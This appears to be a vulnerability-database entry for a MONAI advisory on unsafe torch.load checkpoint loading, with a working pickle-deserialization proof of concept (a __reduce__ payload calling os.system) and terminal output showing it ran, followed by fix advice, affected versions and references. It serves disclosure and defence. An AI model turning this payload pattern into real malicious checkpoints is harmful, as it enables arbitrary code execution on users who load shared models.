MONAI: Unsafe torch usage may lead to arbitrary code execution
Summary
In model_dict = torch.load(full_path, map_location=torch.device(device), weights_only=True) in monai/bundle/scripts.py , weights_only=True is loaded securely. However, insecure loading methods still exist elsewhere in the project, such as when loading checkpoints.
This is a common practice when users want to reduce training time and costs by loading pre-trained models downloaded from platforms like huggingface.
Loading a checkpoint containing malicious content can trigger a deserialization vulnerability, leading to code execution.
The following proof-of-concept demonstrates the issues that arise when loading insecure checkpoints.
import os
import tempfile
import json
import torch
from pathlib import Path
class MaliciousPayload:
def __reduce__(self):
return (os.system, ('touch /tmp/hacker2.txt',))
def test_checkpoint_loader_attack():
temp_dir = Path(tempfile.mkdtemp())
checkpoint_file = temp_dir / "malicious_checkpoint.pt"
malicious_checkpoint = {
'model_state_dict': MaliciousPayload(),
'optimizer_state_dict': {},
'epoch': 100
}
torch.save(malicious_checkpoint, checkpoint_file)
from monai.handlers import CheckpointLoader
import torch.nn as nn
model = nn.Linear(10, 1)
loader = CheckpointLoader(
load_path=str(checkpoint_file),
load_dict={"model": model}
)
class MockEngine:
def __init__(self):
self.state = type('State', (), {})()
self.state.max_epochs = None
self.state.epoch = 0
engine = MockEngine()
loader(engine)
proof_file = "/tmp/hacker2.txt"
if os.path.exists(proof_file):
print("Succes")
#os.remove(proof_file)
return True
else:
print("False")
return False
if __name__ == "__main__":
success = test_checkpoint_loader_attack()Because my test environment is missing some content, an error will be reported during operation, but the operation is still executed.
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log checkpoint_pwned.txt hacker1.txt selenium-managersXRcjF supervisor.sock supervisord.pid tmpgjp8145d tmpi3_u3wn8 tmpjvuhwif6 tmpkocoo34q tmpp3q8occa
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python p2.py
Traceback (most recent call last):
File "/root/autodl-tmp/mmm/p2.py", line 61, in <module>
success = test_checkpoint_loader_attack()
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/root/autodl-tmp/mmm/p2.py", line 48, in test_checkpoint_loader_attack
loader(engine)
^^^^^^^^^^^^^^
File "/root/miniconda3/lib/python3.12/site-packages/monai/handlers/checkpoint_loader.py", line 146, in __call__
Checkpoint.load_objects(to_load=self.load_dict, checkpoint=checkpoint, strict=self.strict)
File "/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py", line 624, in load_objects
_tree_apply2(_load_object, to_load, checkpoint_obj)
File "/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py", line 209, in _tree_apply2
_tree_apply2(func, _CollectionItem.wrap(x, k, v), y[k])
File "/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py", line 216, in _tree_apply2
return func(x, y)
^^^^^^^^^^
File "/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py", line 613, in _load_object
obj.load_state_dict(chkpt_obj, **kwargs)
File "/root/miniconda3/lib/python3.12/site-packages/torch/nn/modules/module.py", line 2581, in load_state_dict
raise RuntimeError(
RuntimeError: Error(s) in loading state_dict for Linear:
Missing key(s) in state_dict: "weight", "bias".
Unexpected key(s) in state_dict: "model_state_dict", "optimizer_state_dict", "epoch".
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log checkpoint_pwned.txt hacker1.txt hacker2.txt selenium-managersXRcjF supervisor.sock supervisord.pid tmpgjp8145d tmpi02txakb tmpi3_u3wn8 tmpjvuhwif6 tmpkocoo34q tmpp3q8occaImpact
Leading to arbitrary command execution
Fix suggestion
Use a safe method to load, or force weights_only=True
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| Python (PyPI) | monai | < 1.5.1 | 1.5.1 |
Verweise
- https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-6vm5-6jv9-rjpj
- https://nvd.nist.gov/vuln/detail/CVE-2025-58756
- https://github.com/Project-MONAI/MONAI/pull/8566
- https://github.com/Project-MONAI/MONAI/commit/948fbb703adcb87cd04ebd83d20dcd8d73bf6259
- https://github.com/Project-MONAI/MONAI
- https://github.com/pypa/advisory-database/tree/main/vulns/monai/PYSEC-2025-141.yaml
- CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H- Schwäche (CWE)
CWE-502- Plattform
- Python (PyPI)
- Paket
monai- Veröffentlicht
- 09.09.2025
- Aktualisiert
- 11.10.2026 12:19
Quellen und Lizenzen
OSV / GitHub Advisory Database - PYSEC-2025-141 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-6vm5-6jv9-rjpj - CC BY 4.0
Schwachstellenhistorie: monai
Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 11
- Erste → letzte
- 09.2025 09.2026
- Ohne Fix
- 1
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Hoch 8
- Mittel 1
- Nicht bewertet 2
Veröffentlichungen pro Jahr
- 2025: 3
- 2026: 8
-
MONAI: Unsafe torch usage may lead to arbitrary code execution dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.